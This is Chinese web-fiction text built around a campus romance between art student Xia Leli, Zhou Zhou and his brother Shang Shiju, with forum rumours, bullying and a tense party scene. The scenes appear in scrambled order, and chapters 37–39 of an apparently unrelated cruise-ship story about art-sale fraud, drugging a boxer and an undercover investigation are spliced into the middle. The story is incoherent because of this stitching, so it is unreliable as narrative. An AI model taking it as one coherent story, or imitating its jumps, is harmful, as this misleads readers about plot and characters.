今天夏乐栎化了淡妆,本就天生丽质,略施粉黛后原本素净的五官更加明艳,桃花眼带着眼线就算不笑都能勾人,染了唇釉的唇瓣一张一合,说话时飘着香味,引得人不禁盯着那儿看得深入。 他抬手摸摸她的头顶,微笑:“我们乐栎负责漂亮就够了,不用讨好谁。” 夏乐栎最受不了被他夸漂亮,眯起眼睛躲开视线。 “那天没能多安慰你几句,你见谅。”商时驹耸肩,也无奈:“虽说我家底子不错,但你知道,住在这金山区的谁都不逊色。” “大家互相认识,大家的父母也多少都有生意交集,为人处世多少要留点面子。” 她一开始没听懂,后来想明白了:“你是说于含心,就是……学校帖子那个?” 商时驹点头:“我知道那都是瞎说的,一个女孩被造这种谣确实不好。” “对不起啊乐栎,都因为我。” 夏乐栎心有失落,使劲摇头:“没事,而且你哥也已经帮我解决了。” 商时驹一愣,“你说我哥?” 她点头,“他领着于含心跟我道歉啦。” “那可能……”商时驹看向窗外,眼神飘过不解,不过也迅速找到答案:“估计是不想看我太为难,他总这样,把坏名声往自己身上揽。” 夏乐栎莞尔:“看出来你真的很喜欢你哥哥。” “怎么说呢,虽然不是从出生就相伴到大,但我很信任他,他也帮我很多次。他也从来不会把父母的偏心嫁祸在我身上。” 【你男朋友陪你半天了,长得又高又帅的,就是不太爱搭理人。】 【你额头搓破皮那块都是他替你上的碘伏,估计是怕我们拿不住力度弄疼你,就这样他还说跟你不是情侣呢,怪凶的,不是就不是呗。】 夏乐栎呼吸一下子变得很乱,忍不住抬起帽檐看向周州,结果被对方一声阻止。 “不想晕就别动。” 她抬起一半的视线卡在半途,手指揪着背包的带子乱绕,怯生确认:“是,是你吗?” “那天,真的是你一直在我身边?” 周州盯着她,打开烟盒叼出一根,声线含糊:“他瞎扯淡。” “把你扔医院我们就走了,谁闲得陪你在那儿杵着。” 邓飞扬一脸“我不理解”地看向他,用口型问:‘不是,为啥啊??’ 夏乐栎盯着地面,点点头。 周州叼着烟却没点燃,瞥见她偏头时荡漾慌乱的眼睛,对邓飞扬说:“走了。” 看见他转身,夏乐栎忽然抬腿追上去,拽住他T恤的衣角。 她力气很小,却一下子把他拽停了。 周州少见怔了神,回头瞅她那条细白的胳膊,压眉:“还要干嘛?” 对方黑色的T恤吸饱了光,抓在手心里热乎乎的,夏乐栎眨眼结巴:“谢,谢谢你。” “都说了不是我。”他无语叱笑。 “不知道为什么,我就是觉得我该说。”她说完,仿若抓了什么烫手山芋般,速速松开手。 “毕竟你们没有把我扔在村里。” “相比之下他才是天才,其实我更希望得到大部分东西的是他不是我。” 商时驹揣着西服裤兜,笑得少年气:“我懂他就行了,谁说好兄弟必须要同父同母呢,心在一起才最重要。” 夏乐栎点头,旧事重提:“我高考那天,他还替你给我买了暖宝宝和早餐。” “他虽然看着脾气不好,对你却很纵容。” “是吗?”他摸了摸耳朵,微笑始终如一:“你能看出他的好,已经很难得了。” 夏乐栎心里嘀咕。 果然,时驹哥真的很看重他哥,难道讨好周州真的能让他这么开心吗? 周州手机打字的动作略有停缓,没抬眼,继续敲字。 “真没情况就别让人家被挂在网上乱说。” 商时驹点头,沉气,略感麻烦。 “我这就给校论坛管理发微信。” * 从甲板上往回走会穿过宴会厅,周州经过大厅旁边的休息室的时候,却觉出不对劲。 穿着燕尾服的服务生在休息室门口,手里拿着托盘,正在整理餐具。看起来很正常,但是不对,姿势不对、眼神也不对。服务生一边整理,一边半侧着身,余光不断地扫视走廊,像是在……放哨? 周州顿了下,还是脚步一转走了过去。 离得近了,终于听到里面模糊的对话。 “……那幅《余烬》你预计六千万以内拿下,成交记录伪造九千万,这差价,三七分不够意思吧?” 周州愣了下。 这还真是、居然真的碰上“运气”了? 第 37 章 第 37 章 “这差价,三七分不够意思吧?” 说话的是个中年男人,而他对面的居然是个熟面孔,正是先前温夏两人看画的时候,那位突然插话的“讲解师”。不过现在来看,两人恐怕误会了。这位多半不是游轮上安排的讲解人员,只是位对那幅画了解甚深的“普通游客”。 吴皋,登上游轮的身份是某知名海外公司老板,同时兼职经营画廊。 也是三十五六岁的样子,和对面典型中年男人形象不同,他身材偏瘦但挺拔,穿着一件剪裁考究的浅灰色西装,看起来斯文儒雅。 不过这会儿,他那从容的气质可有点维持不住。 吴皋竭力稳住不疾不徐的语调,但攥着茶杯的指节却微微发白,“你什么意思?” 两人跑到教学楼背面没人察觉的地方坐着聊。 申姝听完她说的,“对啊,你不说我都忘了,那天纹身店他确实在场。” “商时驹的哥哥竟然是这种人??他为什么要说,纯粹想看你笑话?” “你俩又没过节,他为啥要这样?” 对方这么一问,夏乐栎确实很疑惑,但同时,那天在商家参加宴会,听到别人对他的那些的不堪的混账描述也冲进脑子里。 难道他真的是别人口中那种唯恐天下不乱的人? 等她洗漱完回到卧室,窗外已经落起了小雨。 今年夏天的雨很密却又下不痛快,淅淅沥沥充斥整个夏天。 不同于城市里,挨着闹市街边的居民区,就算到了晚上仍然会有时不时的噪音飘进高楼窗户。 别墅区的夜晚岑寂静谧,格外深邃。 于是雨滴打在窗台等建筑上的声音就会非常清晰入耳。 隔天就是返校开学典礼,夏乐栎窝进被褥里听着雨声阖眼。 雨势虽小,却时不时碰撞出闷雷的声音。 雷声轰动,半晌,夏乐栎默默睁开了毫无睡意的双眼。 她翻身盯着天花板,脑海里翻来覆去都是周州的脸。 不知道为什么,他的存在格外强势地扎根在她的脑子里,很难不想,一想就浑身不对劲。 夏乐栎抬手,摸着逐渐升温的脸颊,回想刚刚在便利店外面的事。 周州仅仅只是握着她的手腕,夏乐栎却觉得浑身都在烧。 他把她扯到身前就放了手。 夏乐栎傻傻望着他,消化他刚才说的那句“你是头一个”。 “啊……”她翕动唇瓣,弱弱找补:“我没想打发你的。” “那,你要什么?” 夏乐栎拉开两人的距离,偏开眼,脑子里算了一下手里攒的生活费一共有多少,够不够满足这个人的要求。 周州胳膊撑着大腿直起身,懒洋洋靠着长椅的椅背,抬头仰视站在面前的她。 没说话。 他的眼睛很黑又很锋锐,看人总是有股说不出的侵略性。 夏乐栎几秒就被对方盯毛了,低着头讷讷:“你,你开条件。” “只要你帮我保密。” 周州眯起眼,眉眼中的疲态与隐忍仍然没有消去。 但他一开口,仍然是闲来逗弄的语气:“我要什么你都能给?” 夏乐栎见他站起来,下意识往后退,紧握双手,心跳得太阳穴发胀。 “别太过分就行。” 对方笑了一声,很淡,轻视意味很强。 “多过分算过分?” 脚步声凑近,她紧盯着鞋头不敢抬头,满脸发烫。 过了几秒,夏乐栎怔愣,忽地望去。 周州已经走出十米远了。 一身黑衣融入夜晚,骨劲的背影在地上拉得很长。 是那种基因里就带着坏种,喜欢制造他人的痛苦? 夏乐栎开口:“因为我听说别人都说他……” 话说到一半又停住了。 申姝问:“说他什么?” 无数形容词和转述已经到了嘴边,可夏乐栎张了张嘴没有说出来。 她没办法把一些根本不知道真假的话传扬出去,哪怕周州可能真的害了她。 “我也觉得奇怪,但只有他知道了。”她摇头,抱着自己的双膝,恨不得蜷缩成球,把脸埋下去:“我想回家……我不想见任何人了。” “你早上不是还跟我说晚上要跟着商时驹去聚会吗?” 夏乐栎委屈嘟囔:“我去不了了……” 申姝摇晃她的肩膀,劝说:“不,我觉得你要去。” 金山别墅区便利店门口,邓飞扬脸上带伤蹲在外面,狠狠咬了口冰棒,咔滋咔滋嚼着,骂了句:“草他大爷的,没想到这寺下村的臭虫这么黏糊,清都清不干净。” “这些人蹲局子都家常便饭了,我看就得把他们打服了才不敢再找事儿。” 他抬头,看着周州被划伤的那条胳膊,“哥你这去不去医院啊,没想到这便利店连碘伏都没卖的,就这还开在别墅区呢。” 周州站在便利店外面的铁质垃圾箱前抽烟,他点燃之后只吸了一口便掐灭,眉头微折,似乎在用烟草压制疼痛。 他捻着烟头,被呛得咳了两声,“不用。” “不都戒了么,怎么一回来又开始抽。”邓飞扬叹气,“也是,这么多糟心事儿,换我我也来一根。” 两人有一搭没一搭地聊着,消解打架后神经亢奋的余韵。 周州接了电话,懒得动胳膊就放在垃圾桶上公放。 对方说:“查到了,前几天在南城,可惜没逮到人,人又跑了。” “不过我发现一个事,他好像把盘寄走了。” “我正好和快递员熟,那天聊天,我顺眼看了下他的打单。” “是寄到崇京的。”其他所有人都不敢说话,心想可不是……谁接得住商家大少的道歉。 不怕遭报应啊。 于含心也不管了,起身逼问:“你为什么这样,来的都是商学长的朋友,你就这么对你弟弟的朋友!?” 她余光一扫,看着某个单薄的身影,故意引导:“还是说,你是因为……” “我看你就烦。”周州偏头,用槽牙把威士忌的瓶盖拧开,扔桌上,“一烦了手就痒痒。” “成吗?” 他仰头,对着瓶口喝了一大口,某个瞬间仰视的瞳孔紧紧锁在夏乐栎脸上。 夏乐栎敏锐地察觉到他直勾勾的目光,后背一紧。 商时驹靠在一侧,不再说话。 显然,只要周州介入的事儿,他便不会再插手。 其他人看到商时驹的态度就知道,这于含心完了。 算是踢到铁板了,虽然不知道于含心究竟哪里惹了周州。 果然,周州疯起来根本没理由,仅仅只是看着不爽,就能这么羞辱一个女生。 于含心再也待不下去,被冰弄得浑身发抖,起身指着他:“果然外面说的一点也没错!你就是个神经病!” “疯逼!渣滓!超雄!” 那两个字响起来的瞬间,商时驹眼神变了:“于含心!” 夏乐栎心跳咯噔踩空,唰地看向周州。 被这么不留情面辱骂的人静静喝着酒,周州嘴里含着酒,腮颊发硬。 他吞咽,看着气急败坏的于含心,指了指门口:“给你十五秒。” 周州笑了:“再不滚,我让你见识见识什么才叫疯逼。” 周州挑眉,“人虽然没找到,但是东西应该已经到这儿了是么。” “对,不过我只看见收件人叫申姝。” 邓飞扬一扭头,看见龟速靠近的人,“嗯?”了一声,“哎,你不是那个……” “这不是寺下村晕过去那姑娘吗?” 周州停顿,顺着他的方向瞥了眼,先挂了电话。 夏乐栎走到便利店门口的时候已经累得喘息不止,到空调风吹出来的地方停下,弯腰撑着膝盖换气。 自己真的该锻炼一下了,体力真的好差劲。 这时候邓飞扬说话,她听到对方的形容词愣住,累得眼前发虚,第一眼看去好像瞥见了熟悉的身影。 ……周州? 夏乐栎直起身,抹了下脖颈的细汗,“嗯?你们……” 就在她聚焦视力的时候,漆黑高大的身影三两步走近。 夏乐栎仰头的瞬间,一顶黑色棒球帽扣下来。 周州走到她面前,不做犹豫摘了自己的帽子,盖在她头顶。 宽大的帽檐将她双眼都遮住,只露出鼻尖和嘴唇。 他捏着帽檐,拇指用力,往下压。 她整个脑袋都被带着往下低,视线压下去,盯着他匀称的长腿。 “等等,你……” 夏乐栎不明所以,抬手刚要反抗,面前的人忽然开口。 “别抬头。” “我身上有血。” 她悻悻露出一双眼,不解又困扰。 “只是有人在论坛里乱说而已,你要把这个事情做实,反正本来每天也很多人在论坛里乱说啊,大家都是看个乐呵。” 申姝的脑子转得很快:“你想,如果你真的不出面,那你暗恋商时驹这件事在所有人眼里那就锤得不能再锤了!” “你就是要去,然后告诉别人这件事不是真的。” 夏乐栎揉着酸涩的眼眶,“可是我本来就是喜欢他的啊。” “时驹哥要是听到了不会……” “这个时候了你就别管商时驹怎么想了。”申姝给她出主意:“反正来日方长,以后你准备好了再去跟他表白不就好了。” “总之不能这么稀里糊涂地任凭别人乱说。” 她听得一愣一愣的,在一团浆糊的脑子里反应了很久,像宕机了似的。 过了一会儿她想明白了觉得对方确实说得有道理,咬着嘴唇纠结:“可我害怕……” 她一想到别人会用异样的眼光打量自己就怕得浑身冷汗。 夏乐栎捂着耳朵,抓挠软发,浑身都透着抵触:“姝姝……我还是想回家……” 申姝坚决:“不行啊!你要是让这些人把你和商时驹的关系彻底搅黄了,你想跟他修成正果就更难了!” “乐栎!坚强起来!你可以的!” 吴皋沉默了片刻,但还是坚持,“只看徐经纪想不想赢。” 徐全朗:这老东西缺钱缺疯了? 他拧了下眉,含糊着,“那东西……过量很麻烦。” 就一场比赛而已,刚刚签下的人,他还不想无缘无故地把人废了。 吴皋也没劝,“徐经纪好好想想。” 他这样子,徐全朗反而不确定起来。 沉思片刻后,他开口:“你赌多少?” 吴皋笑了。 他慢着声,“会让你满意的。” 第 38 章 第 38 章 小庄从一开始就注意到那位和徐经纪聊天的老板。 主要是对方一出现,旁边的商时驹出拳速度一下子慢了不少,应该也是在留心那边。 谨记上船之前经纪人的指点,小庄不等商时驹说什么,就开始了观察。 西装是FC的,领带夹没认出来,但看起来也是哪家真货,手表是B家的……从头到尾打量了一遍之后,他得出结论:这是个大老板。 但怎么拉生意,他实在不熟。 小庄压低声音:“商哥,要不要我把人请过来?” 商时驹顿了一下。 他连那心不在焉的出拳动作都没再继续了,抬眼看向这个临时助理。 商时驹对这些狗血八卦不感兴趣,只浅淡地点了下头,接着问:“他会去哪?” 如果让周州的兄弟还有曾经被他教训过的人知道,他光天化日之下以这种形式被一个见了血就晕的娇弱姑娘打了这么多拳,估计眼睛都要惊到地上了。 夏乐栎眼泪像断了线的珠子,使了吃奶的力气往他身上胡乱砸,气得理智全失:“你为什么要这样对我!我惹过你吗?” “为什么!!我不是……我不是说了你开条件……” “呜……” 夏乐栎去了画室,把东西都摆在属于自己的位置上。 想来想去,她还是更想去开学典礼。 毕竟一开始就和时驹哥说好了,要坐在一起看典礼的。 她哗啦哗啦地拨弄着桶里的画笔,最终还是落下决定,就算很怕他哥,还是要去。 夏乐栎放下手里的往门口走去,忽然,兜里手机频繁震动起来。 终于到了六层,夏乐栎和申姝结伴前行,发现今天走廊里格外热闹,而且路过的女生仿佛都在热议什么,氛围里飘着一股浮躁。 申姝耳尖,听到了片段信息,拿出手机打开学校论坛水贴板块,眼睛瞪大:“我靠?!” “论坛有帖子炸了,我看见里面挂了商时驹的照片……不对他身边这个超级大帅比怎么这么眼熟啊!?” 夏乐栎一听到商时驹的名字,凑头过去。 看见照片上商时驹身边站着的周州,她眼睫一抖。 果然,走廊里所有讨论激烈的女生都是因为这个帖子。 偷拍照里,商时驹和周州正在操场上。 两人并肩一出现,立刻引起了轰动。 商时驹穿着白衬衫和西裤,是开学典礼的研究生代表,而眉眼浓黑冷淡的周州杵在他身边,更令人眼前一亮。 他身上有股野性,快要冲出屏幕的男性荷尔蒙让无数女生心潮澎湃。 知情者爆料这是商时驹的亲哥,考上了中清大的MBA也一起入学。 商时驹温柔俊朗,霸榜论坛表白墙四年足够证明人气的夸张程度,有学姐就为了能再看见他,一咬牙考了研究生留在学校。 结果想不到的是,无论是外表还是内在有这么强悍基因的男人,竟然有两个。 不过对周州的信息少之又少,连名字都是校友查了校网MBA录取公告才知道。 只知道是商时驹的哥哥,其他的全在尖叫顶帖,女同学们大胆的发言看得夏乐栎脸红羞臊。 “没想到……纹身店那个小哥竟然不是打工的,是商时驹的哥?”申姝摇头感慨:“怪不得一身贵气,不过兄弟俩好像长得不太像啊。” 她碎碎叨叨,发现身边人已经好久没吱声了。 申姝一扭头,发现夏乐栎表情古怪,“你啥情况?以前一提起商时驹你就满脸笑的,你这表情不对啊。” 朋友八卦这会功夫,夏乐栎已经脑补了一万种周州和商时驹告密的场景。 他不会已经说了吧……那她还怎么面对时驹哥啊。 会不会没说?要怎么试探呢? 她有点怕周州,说不出为什么,每次和他一靠近就浑身不对劲。 “乐栎,乐栎!!” 夏乐栎恍然回神,“啊。” 申姝歪头,茫然:“不是,你怎么一脸要哭啊,到底怎么了?” “没事。”她起身打开行李箱,把慌乱的情绪藏住,眸色难为情:“待会儿开学典礼我就不去了,你自己去看节目吧。” “我去趟画室。” 申姝挠头:“啊……?突然不去了,你不是说了要亲眼看商时驹演讲吗?还要给他拍照。” “我‘大炮’都给你扛到学校来了!” 夏乐栎蹲着,背影娇弱僵硬。 她双手乱抓着箱子里的衣服,不会撒谎,又怕遇到周州。 “我有点事,你先去。” 她站住脚掏出手机,一看竟然是于含心在班群里艾特自己。 【于含心:@夏乐栎论坛怎么有人说你暗恋商时驹啊!妈呀我以为你俩只是朋友啊!】 申姝的私聊也焦急地弹出来。 【姝姝:完了出事了!乐栎你暗恋商时驹的事还跟谁说过?!怎么会被人爆出来啊!】 夏乐栎脑子嗡的一下——麻了。 浑身血液仿若从脚底倒灌,她手指抖个不停。 怎么会…… 怎么会这样。 不可能啊……只有,明明只有申姝知道的……怎么会被人知道。 夏乐栎扫了眼帖子,手抖得手机都拿不住。 她看见爆料的内容,说是有人亲耳听见她说喜欢商时驹,场景和她的诉说描述得绘声绘色。 一瞬间,身体里有什么塌掉了,轰隆隆震得她五脏六腑都在缩紧。 夏乐栎喉咙发干,气得浑身发抖。 周州被她打得胸口发闷,眉头紧锁。 她带着哭腔开口含含糊糊的,说得什么压根听不清。 他迅速收集片段信息在脑子里整合,也还是没懂自己为什么挨打。 别说是打人,光是连大声对着人喊,夏乐栎从小到大都没有这样干过。 她冷不丁一哭喊浑身抖得厉害,脑子一片乱,不知道还能怎么办。 夏乐栎双手往前推,撑在他胸口使劲发力:“你让开!走开!” 周州被她推出去,慢悠悠往后趔了半步。 见她要跑,他一伸手啪地攥住对方的手腕。 他眉头折得很深,手上猛地用力拉—— 夏乐栎就像张小纸片似的被拽了回去。 周州一使劲夏乐栎才意识到两人力气上究竟有多可怕的差距。 估计是因为她的捶打惹烦了他,周州这道力度根本没控制,夏乐栎被拽得差点跌倒,一下扑到他怀里。 她鼻尖险些撞到他胸上,两人的距离骤然拉近到极致。 男人浑厚的气场扑面,压迫感无声袭来。 夏乐栎眼泪都吓没了。 小动物感知到天敌威胁的第一反应是僵住不动。 但此情此景,夏乐栎因为愤怒,停了三秒后就疯狂挣扎:“你浑蛋,放开我!我一秒都不想看见你!” “你为什么要告诉他!” 面前的人疯了似的乱动,周州太阳穴跳得烦,手上用力更深,单手拽着她晃着:“你搞搞清楚再骂。” 他冷笑,服了气:“我怎么你了?” 他只是握着她一只手腕,就可以将她整个人摇得趔趄。 夏乐栎被他拽来晃去的脑子更乱了,抬头,哭红的桃花眼委屈狠了:“你不要装……只有你知道。” “只有你。” 她的落寞和痛苦像张镜子映照他眼底,周州略有怔忡。 申姝正好跟后面排队的人认识,问了问情况,啧然气愤:“大爷的,丑人多作怪。” 她打量夏乐栎一脸茫然的样,更是气不打一处来,“她不就是气不过你抢了她喜欢的男生吗?一个暑假过去了自己没本事追上还在这儿欺负人。” 夏乐栎讶异:“我什么时候……” 申姝挥挥手:“不是那个意思,你不知道,于含心喜欢雕塑系系草好久了,从大一就开始追,但他上个学期不是追你来着吗?” “你怕是都没意识到人家在追你,文艺男是这样的,也不明着表白,想追你又放不下架子。” 夏乐栎仰头作回忆状,没想起这号人。 “于含心,这个贱人,看见雕塑系那个整天围着你讨好她就疯了,”她气得旧事重提:“趁你上厕所把你大作业删了七百多帧那事儿你忘了?” 夏乐栎立刻瞪了眼,“没忘……” 想起那些委屈,眼圈立刻就要红。 她没办法告诉申姝,那时候她家酒店正在和于含心父亲家的一个用品供应谈合作。 哪怕知道是于含心干的,但她想起母亲说过的话,还是选择把委屈都咽进肚子,不想给家里添麻烦,就没有追责。 “现在于含心已经把你当成情敌了,我也是第一次见把别人当假想敌脑内雌竞的。” “你也是,怎么老傻站着让人欺负,不会讲理那就骂回去啊!” 夏乐栎蹙眉,有些为难:“我只是觉得怪怪的,但不知道她在骂我什么……” 就在这时,四号电梯门内忽然发出一声咣当巨响,然后从楼上电梯井传来闷闷的尖叫惊吓声,紧接着警报声响起。 周围排队的学生们哗然嘈杂,赶紧让出一圈空地,等安保人员过来维修。 申姝震撼回头,看着双手捂着耳朵的夏乐栎:“现世报??她们电梯坏了?哈哈哈?” “乐栎,你刚刚是不是偷偷诅咒她们来着?如果是也太灵了。” 夏乐栎双手捂耳,扭头眨眨眼,眼神清澈单纯。 “嗯?” 夏乐栎愈生恨意,一用力,挣脱开他的禁锢,扭头抽泣着跑走。 她吸着鼻子啜泣的微小动静随着脚步声远去,周州扭头,瞄着她缩着肩膀的可怜背影。 半晌,他动了动刚才握着她腕子的手,气得想笑。 “都他妈哪儿跟哪儿啊。” “那种很有情调的、很文艺的、一看就适合约会的……”小庄比划着形容了半天,看着商时驹一点点拧起的眉头,果断放弃了解释,“哥你跟我来!” 小庄拍着胸脯,大包大揽地把商时驹带到了海景咖啡厅。 窗外碧蓝的海浪阵阵,偶尔有海鸥飞过,屋内馥郁的咖啡香气和烘烤面包的味道混合,确实很有情调。 但两个大男人对着咖啡枯坐半个小时,毫无所获。 小庄:“……”失策了。 那老板确实有可能会来,但是赶不赶得上全看运气。 商时驹倒是感觉还好,真蹲点嫌疑人的时候,蹲个几天都有,这点时间实在不算什么。 小庄正支吾着想说“要不干脆算了”,抬眼却注意到商时驹的目光落点不对。 他顺着商时驹的视线看过去,稍微愣了一下,居然是个漂亮妹子——非常简单的卫衣牛仔裤,黑长直的高马尾,一整个清爽又干净的初恋脸。 小庄目光在两人之间游移了片刻,正福至心灵地想问句“要不要去加个联系方式”,就见对面商时驹不知道什么时候挪了个位置。 两人本来坐得就偏,商时驹往里一坐,彻底被店内的绿植挡住了身形。 小庄:……? 这反应、前女友? 第 39 章 第 39 章 在确定了这是个情侣游戏之后,夏乐栎对接下来的场所就有了预料,反正总逃不掉“约会”相关。 事实也确实如此。 远处是海天相接的碧蓝美景,旁边的咖啡厅落地的玻璃墙,外侧的甲板上还有几张户外桌椅,白色的遮阳伞随着海风摇曳——很有约会氛围。 夏乐栎注意到周州突然抬了下头,“怎么了?” 周州:[没什么。] 刚才好像看见商时驹了。 他转头又确认了一遍,正好店里有个身形高大的男人起身,之前应该是看错了。 周州轻轻呼了口气,认真反思:自己难道是在心虚吗? 有一点,但是好像并不多。 大体上更偏向于“担心”“麻烦”,而不是“愧疚”。 ……好吧,再次确定他不是个好人。 * 过了半个小时,学校一号操场。 开学典礼已经准备就绪,等到了时间,学生们都入座,中清大初秋一年一度的盛典就要开幕。 偷拍的人太多,兄弟俩只能找了个建筑背面的墙角待着。 商时驹踱步,手里拿着演讲稿顺词。 周州靠在一侧墙面,懒洋洋弯着腰接了一通电话,听对方说了一堆,最后他回了一句:“接着找,他不会满处跑,回了国有的是办法把人捞出来。” 周州慢悠悠找到这栋楼,穿过走廊认准了教室号码。 他低着头玩手机,抬手一把拉开门画室的门—— 恰巧,门内有人正好冲出来。 周州抬眼。 夏乐栎通红的眼眸猝不及防闯入他视线。 面前女孩脸色惨白,下唇瓣抖得明显,晃着泪的眼眸可怜又委屈。 一看见他,夏乐栎的眼泪唰地掉出来。 窗外雨声渐大,明天上午中清大的室外开学典礼也不知道能不能如期举办。 夏乐栎收起回忆,戴上降噪耳塞,逼着自己赶紧入睡。 那个人到最后也没说保密的条件到底是什么。 他到底想要什么? 她叹气。 所以到底答不答应呀…… 夏乐栎抬手摸着发胀的双颊,不知怎的今晚自己热成这样。 好在,下完雨肯定就凉快了。 第二天夏乐栎准时返校报到。 妹妹习真高考失利,踩着线上了另一所双非院校,和中清大离得有些远。 姐妹俩的学校不巧同一天报道,夏习真肯定是希望父母能照旧一起送她返校。 所以夏乐栎早早拎着行李箱出门,不让父母为难。 中清大作为崇京数一数二的985211高等学府,并不是像崇京大学那样是一整座像小镇般的独立学校,而是由很多学院聚合在一起构成了中清大这所校区众多,学科丰富,人才辈出的黄金象牙塔。 夏乐栎所在的美术学院在主校区,和商时驹所在的经济学院正好在一块。 回到宿舍,不少人都来了,宿舍楼大厅乌央乌央堆满了带着各种画具行李的艺术生。 夏乐栎站在电梯间排队,低着头抿动嘴唇眯眼,她开学大三,时驹哥读研一还在这个校区。 他们还能在学校里见面。 一想到她就高兴。 虽然宿舍配备了四部电梯,但几乎半个美术学院的学生都住在这栋楼里,四部电梯仍然无法快速服务整整六层楼的学生。 夏乐栎排了很久的队,眼见着就要轮到自己上电梯了,肩膀忽然被使劲撞了一下,行李箱的坚硬边角蹭着她的腿滑了过去。 她直接被身后冲过来的人撞了个趔趄。 夏乐栎吃痛扭头,看着专业的同学于含心眉飞色舞挤进队列,身后还带着四个各自拉着箱子的女生。 于含心瞥她一眼,语气拔得很高,明目张胆地针对她,笑着:“不好意思啊,前面是我朋友,给我们占位置了。” “你应该不会介意吧?” “对了,上个学期不是有那么多男生愿意帮你搬行李吗?”于含心口吻很奇怪,略带讽刺:“还叫他们呗?就算住六楼,累死累活他们也愿意给你当跑腿的啊。” “诶诶,”另一个人拍拍于含心,眨眼:“人家眼光高,有商时驹那样的竹马,普通男生哪还入得了眼。” 她身边第三个朋友阴阳怪气补充:“让让我们吧夏乐栎,我们不比你,大名鼎鼎的美院院花,稍微一撅嘴一皱眉那些男的就原地化身舔狗。” “哎,没颜值只能自己扛行李到六楼咯~” 辛苦排了半天的四号电梯眼见已经停在了一楼,夏乐栎明明都排在了前面,因为这几个人的插队,生生是又被挤到后面。 夏乐栎看着她们,听完了所有冷嘲热讽,看着敞开了门的电梯,压了压眉头倍感可惜。 完全没有被激怒,也没有委屈或生气的表情,她乖乖点头:“既然这样,那你们上吧。” 于含心语塞。 是在骂她们就是丑人吗!? 被嘲讽的她跟没听懂欺负似的逆来顺受,夏乐栎身后排着的陌生女同学们窃窃私语,看着她们一脸不情愿。 于含心这些插队的女生骂了夏乐栎半天结果一拳头打在了棉花上,又看见后面那些白眼,无奈,只能拎着箱子赶紧上了电梯。 一整个电梯都被她们那伙人塞满,多一个人都上不去了。 电梯门缓缓合上,夏乐栎默默等下班,动了动站到酸痛的脚腕。 “我怎么看见于含心了?”一道声音靠近。 她回头,看见舍友申姝插着兜走来。 周州微微折眉,张嘴还没吐出字就迎面挨了一拳—— 夏乐栎握紧了拳头锤他的胸,砸出闷闷的一声。 她簌簌落泪,哭腔酸抖:“你怎么能这么欺负人!!” “你怎么能!” 商时驹抬头,看他挂了电话眉宇阴郁,“还是你工作室那事儿?” “那人也是够缺德,和你们团队割席了,还要偷着带走最值钱的核心程序。” “你小心他回国转卖给别的科技公司。” “所以这不在抓紧找人么。”周州垂眸划拉手机。 半晌,他收了手机掀眼:“什么稿子这么难背?怎么,你紧张?” “这次毕竟面对几万驹生。”商时驹失笑,把稿子折起来:“必须得万无一失。” 他故作落寞地揶揄:“我不像你那么神,就算忘了写稿上台胡侃也很像样。” 周州乜对方一眼,“好学生少学别人扯犊子。” 商时驹扑哧一下清爽地笑出来,肩膀耸动,一下子释放了所有紧张压力。 “行行行……” 时间差不多了,商时驹看了眼手机,往远处望了望,“哥,有个事可能得麻烦你。” 周州挑眉询问。晚上六点,夏乐栎顶着勉强消肿的眼睛还是去了聚会。 她站在包厢门口迟迟不敢进去,从玻璃缝隙里看见一屋子的人。 今天的场子是只有住在金山区这些玩得好的二代们才会来。 估计有百分之八十的人的家长,都是她爸爸惹不起的。 夏乐栎只身一人站在外面纠结,直到服务生推着酒车走来,“您好女士,要进去吗?” 她愣愣回应,硬着头皮推开了门。 包厢里至少已经来了十几个人,夏乐栎左脚刚一迈进去,熟悉又带着奇怪语气的嗓音立刻响起。 “女主角来啦!正聊你呢,快来跟我们说说!”于含心坐在沙发里左右拥着其他女生,笑着招呼她。 夏乐栎看见她心里一沉。 “我靠美女啊,快来坐!”男生A看见她之后眼睛齐刷刷地发直,争先起来给她让座。 “也出来玩了?加个微信呗回头一起。” 于含心斜了眼那些男生,语气更古怪了:“你们就别想癞蛤蟆吃天鹅肉了,我乐栎美女可是商时驹的绯闻女友。” 夏乐栎刚想找个边缘坐下,一听见这话差点弹起来,摆手急着澄清:“不……不是。” “你们不是青梅竹马吗?在一起也很正常啊,藏着掖着干嘛。”于含心旁边的女生A笑着说:“哎对,你怎么自己来了,没跟着少爷一起来?” “就是,我们都看见帖子了,外校八卦墙也有人说你俩的事呢。”女生B叹气:“毕竟喜欢商时驹的人能排着队绕学院路三圈。” “隔壁传媒大那个校花不就追过商时驹吗?” “人家又漂亮又能说会道,专业第一,而且家里还有钱。” 她细数这些:“就这样商时驹都不喜欢,但每次出来玩都带着你,夏乐栎,你就承认了吧,啥时候的事儿啊。” 商时驹的其他公子哥和栎金朋友面面相觑:“没听说啊……” 夏乐栎彻底慌了,现在这些人都不是传她暗恋时驹哥,而是直接在造谣他们在一起了。 这,要是让时驹哥知道他被别人和她强行捆绑在一起,肯定会很不舒服啊。 “不是……我们不是……”夏乐栎秀眉皱着,环顾这些人直刷刷的目光,“我们没在一起。” “嗯?”于含心追问:“没在一起,那就是你单方向暗恋他了?所以是真的啊?” 她啧啧,凑过去拍拍夏乐栎的肩膀,开朗道:“你也别难过,摆着那么多有钱大方的女生他都不要,没准商时驹就喜欢你这款憨憨花瓶儿呢。” 夏乐栎抓紧衣摆,指关节捏得发白,垂眸忍着满腔火气,只会反复强调:“不是真的,我和时驹哥不是那种关系……” “你不要这么说他……” 她不知道自己任人委屈的时候,皱眉抖眸的模样格外动人,几乎能激起所有男性保护或欺负的原始冲动。 另一个看热闹的公子哥看见她这样儿,泛起兴致,撑着台球杆来了句:“那你又不说。” “我想问很久了,每次都瞧见驹哥带你出来玩,哪有邻居妹妹那么简单。” 在场有男生加入八卦,这些故意刁难夏乐栎的女生一下子就像有了靠山,更有了底气步步紧逼。 “就是呀,你要是能把这多高岭之花摘下来也厉害了!” “要我说肥水不流外人田,既然是青梅竹马,就别让他被外面的女的抢走!” 夏乐栎如坐针毡,声音越来越小:“不是,不是。” “你跟他表白了吗?要不就今天大伙儿一块帮帮你,撮合一把就成啦!” 就在这时,包厢的门被拉开。 商时驹的声音终于出现在这里。 “说什么呢这么热闹。” 所有抬头一齐向门口看去。 商时驹高大的身影从门外钻进来,表情一如既往闲适温和。 他进来后,后面身板更强壮的周州也跟进来。 周州进包厢以后,半垂的视线扫了一圈,最后找到坐在边角脸色惨白却挂着微笑的夏乐栎。 他眉头微动,收起目光。 商时驹扭头对别人介绍:“我哥周州,从美国回来,以后就跟咱们一块玩儿了。” 在场所有人都和和气气对周州打招呼。 只不过他一个都没搭理。 